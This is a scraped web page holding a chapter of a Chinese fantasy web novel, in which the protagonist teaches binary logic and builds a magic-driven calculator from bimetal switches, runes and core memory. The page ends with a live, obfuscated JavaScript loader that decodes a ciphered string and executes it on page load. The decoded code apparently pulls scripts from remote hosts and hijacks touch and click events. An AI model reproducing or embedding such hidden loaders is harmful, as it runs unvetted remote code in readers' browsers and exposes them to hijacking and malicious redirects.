首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

章三六七 二进制计算器

    不多时,奥德玛和米歇尔为首的一众奇械师,就急匆匆的赶到了苏文的实验室里面。
    实验室内,众人正神态认真的端坐在椅子上,而苏文此时正站在黑板前,手写着许多0和1的数字,旁边还有一些运算符号。
    米歇尔还算有点数学知识,他可以理解苏文是在通过十进制,来讲解二进制的运算。
    但他不知道苏文为何会在实验室里开讲二进制这么偏门的数学知识。
    而一旁的奥德玛等人,还以为是苏文在观测魔力的装置上有了什么突破。
    他们此行是想过来取经的,可当他们走进了房间听了一会儿才发现,苏文讲解的内容好像并不是他们以为的侦测魔法装置的内容。
    苏文讲解的好像是一种数学运算方法——这不由得让奥德玛等人感到疑惑,不知道为何要让自己过来听数学课。
    自己像是有数学天赋的样子吗?
    而西诺瓦丽、薇薇安、迈斯和丽娜等人,此时都紧皱眉头。而还有些大学生,因为理解不能,已经开始抓着脑袋,身子扭啊扭,坐立不安。
    活像个猴子。
    奥德玛正想开口询问找自己来有什么事,就见苏文此时在黑板的空白处,手绘了一个装置的示意图,开始讲解着自己的思路:
    “你们看,当我主持施法的时候,主要魔力就汇聚在胸口这里。当有波动的时候,魔力就会扩散到我身体的其他地方,只要在我的这些部位加上魔力探测器的探头。
    “当魔力探测器通过探头,感知到这个身体部位的魔力波动时,末端就会剧烈发热,短时间内就会上升到一百三十多度,而一旦魔力波动下来,又会快速失温,降到90度左右。
    “我们可以利用这个特性,在秘银接口的末端,加装一块铜片和一块铁片。”
    他手绘了两个金属薄片的示意图,继续解释道:
    “铜和铁两种金属的热膨胀系数存在差异,初始状态下,它们不会接触。可一旦魔力探测器捕捉到魔力波动,温度就会随之变化。
    “当温度升高时,铜的伸长量大于铁,双金属片会向铁的一侧弯曲,从而实现闭合的机械动作——然后我们可以在两个金属片的下面,做一个隔热层,并加上两个秘银的线。”
    说着,苏文在两个金属的薄片上加上了一根细线:
    “线的两端接上一个魔力传导的符文,当金属片贴合的时候,秘银就会连通,然后激活下面的符文,让符文传导魔力。
    “符文传导魔力的情况,我们称之为‘开’,未闭合的状态则是‘关’。要是把‘开’定义为1,‘关’定义为0,就能以此为基础,实现最基本的二进制运算。”
    苏文的讲解条理清晰,可西诺瓦丽却依旧皱着眉头,忍不住出声质疑:
    “苏文阁下,我还是无法理解,这种依靠金属片开合传导魔力的装置,怎么能代替人完成复杂的方程运算?”
    奥德玛和身后的奇械师们也寻了个位置赶快坐下,然后看着黑板上的示意图,皆是一头雾水。
    他们本就对苏文口中的“二进制”毫无概念,更想不通这种简单的开关状态,能和计算扯上什么关系。
    苏文此时没有先回答,而是指了指奥德玛一行人,笑了笑道:
    “你问的问题很好,但我先给奥德玛你们介绍一下现在的情况——,
    “现在我们推演法术,要用到太多复杂的数学计算,因此我们需要制造一个计算器,来代替人力完成运算。”
    他的语气里带着十足的自信,可周围众人的迷茫却没减少分毫。
    哪怕是数学天赋出众的西诺瓦丽和薇薇安,一时之间也没法理解苏文提及的二进制有何意义。
    她们倒是可以直觉的感觉到,如果设计的好,可能可以通过这种0和1的变化,来实现一些简单的计算。
    但她们也可以感觉到,这种设计需要非常久的时间,慢慢磨,一步步思考。
    苏文继续耐心解释道:“方程运算其实可以拆解成简单的逻辑运算,比如先实现‘与’‘或’‘非’这些基础逻辑。
    “……比如与,就是只有两个输入都为1时输出才为1……。”
    “……然后这个是进位……”
    他拿起笔,在纸上画了几个简单的逻辑示意图:
    “有了这些基础逻辑,再通过进位的方式,就能逐步实现加法、乘法这类算术运算。”
    这算是苏文的老本行,前世计算机专业的第一课,就是讲解这类基础原理。
    可和他那个时代不同,如今这个世界的人,对“辅助计算”的认知还停留在算盘、稿纸记录的阶段,从未想过能让机器按设定好的程序自主运算。
    哪怕是西诺瓦丽、薇薇安、迈斯这种智力出众的人,能从逻辑上勉强理解苏文的思路,也很难真正跟上他的想法,更别提想象出计算器械的模样。
    然而,那些奇械师们,却在听苏文讲解的过程中,感受到了体内魔力的异样。
    他们只是盯着黑板上的线路,想象着苏文口中的“编程”逻辑,体内的魔力就开始一阵一阵地颤动,仿佛对这种全新的机械思路有着天然的亲近。
    有几位奇械师甚至脸色微变,能清晰察觉到魔力在体内疯狂涌动,险些就要触发突破的契机。
    众人对视一眼,都从彼此眼中看到了惊骇——苏文这个发明到底能达到何种高度还未可知,单是这份思路引发的魔力共鸣,就足以证明其非同小可。
    当然,对苏文而言,这种魔力异动早已是家常便饭。
    无论是之前发明蒸汽火车、建造铁甲舰,还是研制化学电池,他都曾感受过类似的魔力疯涨。
    寻常奇械师一辈子都难遇一次的魔力共鸣,对他来说几乎每月都要经历三四次。
    此刻,他体内的魔力也在随着思路的完善而疯狂膨胀,甚至距离11级奇械师的门槛已近在咫尺。
    而且苏文的意志极为坚定,他的升级在真名方面几乎没有瓶颈。
    苏文现在的这种魔力增幅,若是放在米歇尔等普通奇械师身上,恐怕足以让他们兴奋得当场晕厥。
    但他现在其实根本没在意体内的魔力变化,而是随手列出几个方程,指着方程继续补充道:
    “就像这些推演法术要用到的方程,我们就能用刚才说的逻辑运算,把它们拆解成一串0和1的组合。
    “先构建基础的逻辑模块,在一个模块输出完计算结果的时候,可以在末端编写一个力场符文,推动下一个模块的金属片。再通过进位机制实现算术运算,一步步将复杂方程转化为机器能识别的指令。”
    他所设计的这套计算器雏形,还远达不到后世计算机的高度。
    目前来说,一个计算器,只能计算一个方程,当然如果要计算不同方程,也可以通过重新连接线路编程。
    甚至哪怕是计算这一个方程,虽然核心的符文并不多,但加上其他装置,整套需要用数十个基础开关模块拼接而成,占地面积恐怕会足有数平方米,差不多能铺满一张宽大的长桌。
    而且散热、信号排序、运算结果存储等一系列问题也是非常复杂的。
    若是从外观上看,最终成型的装置会像一件用金属线路编织而成的复杂物品。
    所谓的“编程”其实就是这个意思,早期的电脑程序就是工程师拿着金属线一根一根的编制出来的。
    每一条线路的走向,都对应着一个运算指令。
    早期电脑的一个应用可不像21世纪,下载一个安装包那么简单,而是正儿八经的要一根根的编。
    当时哪怕是阿波罗登月的控制系统,也是工程师一根根的编制出来的产物。
    苏文一边说,一边在黑板上补充各个模块的连接方式。
    到最后,他干脆在桌上摊开了一个图纸,然后控制着鬼斧神工这个法术,快速的用金属在桌上生成图纸。
    他一边生成图纸,一边和周围的人讲解,从基础的逻辑门,到简单的加法进位器,尽可能的将每个构建的作用都讲清楚。
    围在一旁的众人,眼神渐渐从迷茫转向了震惊。
    他们虽然还不能完全吃透苏文的思路,却能隐约感觉到眼前这个东西的不凡。
    苏文其实早有构建计算器械的底子。
    前世他曾在《我的世界》里闲得无聊,靠着红石电路摸索出一套最基础的计算机搭建逻辑。
    甚至来到这个魔法世界后,他也考虑过是否要利用蒸汽机,搞一个类似蒸汽差分机这种简易计算器。
    但最后还是觉得没必要迟早会被淘汰的技术上浪费精力,打算等电力体系稳定后,直接一步到位研发晶体管架构的计算器。
    可如今情况不同。
    首先是他现在对计算辅助有刚需。
    其次秘银的特性恰好能满足小型化和精准控魔的要求,因此苏文便不再犹豫,决心先以秘银为核心,先打造一套基础计算辅助装置。
    此时西诺瓦丽已经勉强理解了苏文口中的运算逻辑,可越是琢磨,她心中的震撼就越是强烈。
    就在半天前,她还在和苏文讨论如何简化运算,那时的苏文分明还没透露出半点计算器的设计思路。
    可他后来仅仅是看到了奥德玛他们提交的探测魔力装置,思索了就那么一会儿,一套完整的构想就在他脑海中成型。
    这种近乎匪夷所思的联想与创造能力,让西诺瓦丽叹为观止。
    她活了两百多年,其实越到后期越是感觉思维僵化,创新的念头越来越少。
    可自从跟在苏文身边,被他接连不断的认知冲击裹挟着前进,她竟觉得自己的大脑仿佛重新焕发了活力,久违地有了年轻时那种灵光频现的敏锐,思维也愈发活络起来。
    而米歇尔等一众奇械师,此时更是感到惊骇莫名。
    他们望着苏文拿着金属生成的草图,就像蜉蝣见到青天,甚至会感到一种无力。
    一套如此精密、巧妙且复杂的运算体系,竟被苏文轻描淡写地完善出来。
    这种天赋上的鸿沟,让他们切实体会到了什么叫“天差地别”。
    倒是迈斯等一众下属,反应反而平淡许多。
    他们只知道苏文又拿出了厉害的新东西,却因为苏文平时就很厉害,所以压根没意识到这台计算器械的划时代意义。
    最多就觉得‘哇,领主又拿出来的好东西’。
    此时苏文已经完成了基础运算逻辑的编程,并且拿出了设计图。
    然后他立刻开始与米歇尔等奇械师,开始着手落实。
    这个世界与苏文前世最大的便利,便是有魔法,特别是有奇械师这类擅长快速造物的职业者存在。
    只要能提出明确的设计巧思,他们便能在极短时间内做出可供测试的样板机。这种的效率对工业研发而言堪称得天独厚。
    众人先挑选好了秘银,将其拉制成几毫米粗的细丝,然后将细丝接在了魔力探测符文的末端。
    同时开始对其他的材料进行制备,进行原始模块的拼接与调试。
    这套计算装置的核心原理,是依靠魔力探测器捕捉苏文身上不同部位的魔力波动,再将波动转化为不同的输入。
    秘银丝末端的铜片与铁片会因热力差实现闭合或分离,激活后面的符文,以此对应“1”和“0”的二进制状态。
    而在编制好的方程模块下面,则分别绑定了魔力罐,和两端缠绕着导电铜线的简易化学电池。
    苏文还专门在计算器的中间空出一部分,通过磁芯的磁化方向的方式来储存结果,把这里当作内存。
    当然,由于这个是初代样机,无需复杂的矩阵阵列,苏文直接使用了单排磁芯的简易结构。最后对接的模块的力场将会敲击电路开关,生产的电流会作用于磁芯,改变磁化方向,完成数据存储。
    读取的时候,就可以通过线圈感应磁性的磁化状态,将结果转化为电流信号。
    而在最终的输出端,他加装了一圈细线圈——当输出结果为“1”时,线圈会感应到电流产生磁力,敲击预设的金属片;
    结果为“0”时则无任何动作,以此完成运算结果的可视化呈现。
    不过初代样机的表现并不尽如人意。
    由于各模块的协同性不足,每当苏文身上的魔力出现大幅波动,装置往往要等上十秒甚至一两分钟才能输出结果,远达不到运算的要求。
    苏文当即带着众人调整了一下方案。
    一方面调整了双金属片的材质配比、厚度、长度,以此调整它们的热传递速率。
    另一方面拆解了所有模块,重新优化了符文排布和线路衔接。
    哪怕有着奇械师的加持,他们也一直忙了一整天,此时在场的众人全部都黑着眼圈,但却以极为旺盛的精力在调试着。
    当有人扛不住的时候,直接一个恢复法术,就又生龙活虎了起来。
    经过数十次的调试与修正,装置的响应速度终于稳定在五秒以内。
    “最后再测试一下,输出的结果是否准确吧。”
    看着眼前的计算器,苏文此时说道。
    而一旁的迈斯等人,已经开始拿着纸笔,准备对照着苏文给出的方程式手动演算。
    当苏文输入一组测试数值后,那台足有整张桌子大小、巴掌厚度的计算装置立刻发出“叮当叮当”的金属碰撞声,不过片刻,输出端的金属片便规律地敲击出了结果。
    而此时的迈斯,才刚在纸上列完演算的初始步骤。
    他又埋头算了十几分钟,当最终结果落在纸上时,他猛地抬头看向装置的输出记录,发现二者竟分毫不差。
    “这……就是计算器?”
    迈斯望着眼前嗡嗡作响的金属造物,眼中满是难以置信的惊奇。
    苏文听着金属不断敲击的声音,转头看向众人,语气带着几分期待:
    “既然样机测试成功,那我们接下来就用它做个实战检测——试试能不能靠它实现伪传奇领域法阵。”

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();